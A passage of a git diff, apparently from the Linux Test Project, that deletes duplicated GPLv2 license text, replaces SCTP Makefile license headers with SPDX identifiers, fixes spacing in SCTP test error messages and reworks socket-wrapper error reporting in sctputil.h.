-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/utils/benchmark/kernbench-0.42/COPYING b/utils/benchmark/kernbench-0.42/COPYING
deleted file mode 100644
index d60c31a..0000000
--- a/utils/benchmark/kernbench-0.42/COPYING
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year  name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/utils/sctp/Makefile b/utils/sctp/Makefile
index 93551b3..63296d5 100644
--- a/utils/sctp/Makefile
+++ b/utils/sctp/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/sctp test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../..
 
diff --git a/utils/sctp/func_tests/Makefile b/utils/sctp/func_tests/Makefile
index a171078..f1c7996 100644
--- a/utils/sctp/func_tests/Makefile
+++ b/utils/sctp/func_tests/Makefile
@@ -1,24 +1,5 @@
-#
-#  (C) Copyright IBM Corp. 2001, 2003
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-
-###########################################################################
-# name of file	: Makefile						  #
-###########################################################################
+# SPDX-License-Identifier: GPL-2.0-or-later
+# (C) Copyright IBM Corp. 2001, 2003
 
 top_srcdir	?= ../../..
 
diff --git a/utils/sctp/func_tests/test_1_to_1_accept_close.c b/utils/sctp/func_tests/test_1_to_1_accept_close.c
index 8014962..46511d3 100644
--- a/utils/sctp/func_tests/test_1_to_1_accept_close.c
+++ b/utils/sctp/func_tests/test_1_to_1_accept_close.c
@@ -134,7 +134,7 @@
 	/* accept() TEST1: Bad socket descriptor EBADF, Expected error */
         error = accept(-1, (struct sockaddr *) &acpt_addr, &len);
         if (error != -1 || errno != EBADF)
-		tst_brkm(TBROK, tst_exit, "accept with a bad socket descriptor"
+		tst_brkm(TBROK, tst_exit, "accept with a bad socket descriptor "
                          "error:%d, errno:%d", error, errno);
 
 	tst_resm(TPASS, "accept() with a bad socket descriptor - EBADF");
@@ -159,7 +159,7 @@
         /*accept() TEST3: Invalid address EFAULT, Expected error*/
         error = accept(lstn_sk, (struct sockaddr *) -1, &len);
         if (error != -1 || errno != EFAULT)
-		tst_brkm(TBROK, tst_exit, "accept with invalid address"
+		tst_brkm(TBROK, tst_exit, "accept with invalid address "
                          "error:%d, errno:%d", error, errno);
 
 	tst_resm(TPASS, "accept() with invalid address - EFAULT");
diff --git a/utils/sctp/func_tests/test_basic.c b/utils/sctp/func_tests/test_basic.c
index 0044a25..8e9129a 100644
--- a/utils/sctp/func_tests/test_basic.c
+++ b/utils/sctp/func_tests/test_basic.c
@@ -156,7 +156,7 @@
         inmessage.msg_controllen = sizeof(incmsg);
         error = recvmsg(sk2, &inmessage, MSG_WAITALL);
         if (error > 0)
-                tst_brkm(TBROK, tst_exit, "recvmsg on a socket neither"
+                tst_brkm(TBROK, tst_exit, "recvmsg on a socket neither "
 			 "listening nor established error: %d", error);
 
 	tst_resm(TPASS, "recvmsg on a socket neither listening nor "
diff --git a/utils/sctp/func_tests/test_connect.c b/utils/sctp/func_tests/test_connect.c
index f8fc1c2..3cd662c 100644
--- a/utils/sctp/func_tests/test_connect.c
+++ b/utils/sctp/func_tests/test_connect.c
@@ -119,7 +119,7 @@
 	error = connect(clt_sk1, &svr_loop.sa, sizeof(svr_loop));
 	/* Non-blocking connect should return immediately with EINPROGRESS. */
 	if ((error != -1) || (EINPROGRESS != errno))
-		tst_brkm(TBROK, tst_exit, "non-blocking connect error: %d"
+		tst_brkm(TBROK, tst_exit, "non-blocking connect error: %d "
 			 "errno:%d", error, errno);
 
 	tst_resm(TPASS, "non-blocking connect");
diff --git a/utils/sctp/func_tests/test_connectx.c b/utils/sctp/func_tests/test_connectx.c
index dba612d..26890b4 100644
--- a/utils/sctp/func_tests/test_connectx.c
+++ b/utils/sctp/func_tests/test_connectx.c
@@ -156,7 +156,7 @@
 			      &associd);
 	/* Non-blocking connectx should return immediately with EINPROGRESS. */
 	if ((error != -1) || (EINPROGRESS != errno))
-		tst_brkm(TBROK, tst_exit, "non-blocking connectx error: %d"
+		tst_brkm(TBROK, tst_exit, "non-blocking connectx error: %d "
 			 "errno:%d", error, errno);
 
 	tst_resm(TPASS, "non-blocking connectx");
diff --git a/utils/sctp/func_tests/test_sockopt.c b/utils/sctp/func_tests/test_sockopt.c
index 80bd749..42207bc 100644
--- a/utils/sctp/func_tests/test_sockopt.c
+++ b/utils/sctp/func_tests/test_sockopt.c
@@ -337,8 +337,7 @@
 			    MSG_EOR, 0, 0);
 	/* Verify that we received the msg without any ancillary data. */
 	if (inmessage.msg_controllen != 0)
-		tst_brkm(TBROK, tst_exit, "Receive unexpected ancillary"
-			 "data");
+		tst_brkm(TBROK, tst_exit, "Receive unexpected ancillary data");
 
 	/* Enable SCTP_SHUTDOWN_EVENTs on udp_svr_sk. */
 	memset(&subscribe, 0, sizeof(struct sctp_event_subscribe));
@@ -435,7 +434,7 @@
 				 "getsockopt(SCTP_STATUS): %s", 
 				 strerror(errno));
 		if (strncmp((char *)&status1, (char *)&status2, optlen))
-	                tst_brkm(TBROK, tst_exit, "sctp_opt_info(SCTP_STAUS)"
+	                tst_brkm(TBROK, tst_exit, "sctp_opt_info(SCTP_STAUS) "
 			       "doesn't match getsockopt(SCTP_STATUS)");
 
                 tst_resm(TPASS, "sctp_opt_info(SCTP_STATUS)");
diff --git a/utils/sctp/testlib/sctputil.h b/utils/sctp/testlib/sctputil.h
index 6c3371c..176d623 100644
--- a/utils/sctp/testlib/sctputil.h
+++ b/utils/sctp/testlib/sctputil.h
@@ -133,64 +133,85 @@
 static inline int test_socket(int domain, int type, int protocol)
 {
 	int sk = socket(domain, type, protocol);
-        if (-1 == sk)
-                tst_brkm(TBROK, tst_exit, "socket: %s", strerror(errno));
+
+	if (sk == -1) {
+		if (errno == EAFNOSUPPORT)
+			tst_brkm(TCONF | TERRNO, tst_exit, "socket(%i, %i, %i) not supported", domain,
+					 type, protocol);
+
+		tst_brkm(TBROK | TERRNO, tst_exit, "socket()");
+	}
+
 	return sk;
 }
 
 static inline int test_bind(int sk, struct sockaddr *addr, socklen_t addrlen)
 {
 	int error = bind(sk, addr, addrlen);
-        if (-1 == error)
-                tst_brkm(TBROK, tst_exit, "bind: %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "bind()");
+
 	return error;
 }
 
 static inline int test_bindx_add(int sk, struct sockaddr *addr, int count)
 {
 	int error = sctp_bindx(sk, addr, count, SCTP_BINDX_ADD_ADDR);
-        if (-1 == error)
-                tst_brkm(TBROK, tst_exit, "bindx (add): %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "sctp_bindx()");
+
 	return error;
 }
 
 static inline int test_listen(int sk, int backlog)
 {
 	int error = listen(sk, backlog);
-        if (-1 == error)
-                tst_brkm(TBROK, tst_exit, "listen: %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "listen()");
+
 	return error;
 }
 
 static inline int test_connect(int sk, struct sockaddr *addr, socklen_t addrlen)
 {
 	int error = connect(sk, addr, addrlen);
-        if (-1 == error)
-                tst_brkm(TBROK, tst_exit, "connect: %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "connect()");
+
 	return error;
 }
 
 static inline int test_connectx(int sk, struct sockaddr *addr, int count)
 {
 	int error = sctp_connectx(sk, addr, count, NULL);
-        if (-1 == error)
-                tst_brkm(TBROK, tst_exit, "connectx: %s", strerror(errno));
+
+	if (error == -1)
+		tst_brkm(TBROK | TERRNO, tst_exit, "connectx()");
+
 	return error;
 }
 
